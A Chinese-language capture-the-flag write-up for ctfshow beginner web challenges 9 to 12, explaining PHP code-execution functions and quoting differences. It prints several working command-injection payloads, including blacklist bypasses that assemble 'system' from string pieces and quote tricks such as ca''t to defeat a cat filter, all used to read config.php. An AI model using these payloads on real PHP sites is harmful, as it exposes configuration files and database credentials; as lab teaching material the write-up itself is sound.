ctfshow之web(9、10、11、12)

简介: ctfshow之web(9、10、11、12)

萌新web9


a5836e59c02b9bb4fdf9ccf75f3dfd4f.png

提示是在config.php文件里面


highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!


highlight_file('config.php');

979c9f0f0fceed35c2d7b39d6b133dfb.png

web10:

ee1ff5d28ca39f0b1ba86e97b04fabb1.png


乍一看和web9一样,但是


8aa2ce720a491ee8a251dfbf63ca46b8.png


查看目录: PHP提供了4种方法执行系统外部命令:exec()、passthru()、system()、shell_exec() ;


与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。

77e6ae9372a6839635ddcedc8b116660.png

没有发现内容,右击查看页面源码,发现flag


8de1b3a82555bea2b07a151bfa188126.png


除此之外,还可以用拼凑的方法(变量拼凑+函数动态执行),因为不能用system函数


?c=$a='syst';$b='em';$c=$a.$b;$c('cat config.php');


php开发的系统中,config.php常用于配置文件,如配置网站的数据库连接,网站的参数,全局变量等...


根据黑名单的不同,获取config.php的内容有以下几种方法:


1.命令执行函数

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec(

?c=passthru('cat config.php');

2.构造

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

3.绕过cat命令

?c=highlight_file('config.php');

?c=system('ca""t config.php');

?c=system("ca''t config.php");

?c=system('ca\t config.php');


web11:

2d031be95678e77dafdb0dbdd0c7a9ac.png


同样的源码,但是方法不对应就做不出来,这时候要对细节扣到位:单引号和双引号再php中大不相同,


PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:


其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,


双引号中的内容将会被解释,即解析内容中的变量。


但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。但是再php最好还是使用单引号。


那么这就需要将web10中的单引号换成双引号,这时候引号里面的命令才能够被得到解释:

2918ef3830346c0663f534133aedce95.png

web12

0ccee8b86589894c1e32073ab046c441.png

过滤掉了cat和文件名


但是可以拼凑执行highlight函数或者绕过cat函数

5ca572b3c81150abad5af43884472c84.png

c=passthru("ca''t `ls`");


cat `ls` 相当于将 ls出来的结果cat ,不用直接输入cat。





相关文章
|
4月前
|
存储 SQL PHP
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
Ctfshow web入门 PHP特性篇 web89-web151 全(三)
46 2
|
4月前
|
安全 Shell PHP
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看——CTFshow私教 web40
196 0
|
4月前
|
算法 安全 Linux
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
Ctfshow web入门 PHP特性篇 web89-web151 全(二)
95 0
|
4月前
|
存储 SQL 缓存
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
Ctfshow web入门 PHP特性篇 web89-web151 全(一)
113 0
|
4月前
|
JSON JavaScript 前端开发
Ctfshow web入门 nodejs篇 web334-web344
Ctfshow web入门 nodejs篇 web334-web344
62 0
|
4月前
|
前端开发 PHP 开发工具
CTFshow 信息搜集篇 web1-web20
CTFshow 信息搜集篇 web1-web20
27 0
|
4月前
|
PHP
Ctfshow web入门系列 21~28
Ctfshow web入门系列 21~28
41 0
ctfshow---萌新---web9
ctfshow---萌新---web9
|
7月前
|
域名解析 Linux PHP
[CTF]ctfshow web入门
[CTF]ctfshow web入门
|
7月前
|
Linux C语言 C++
【ctfshow】命令执行->web45-57
【ctfshow】命令执行->web45-57
107 0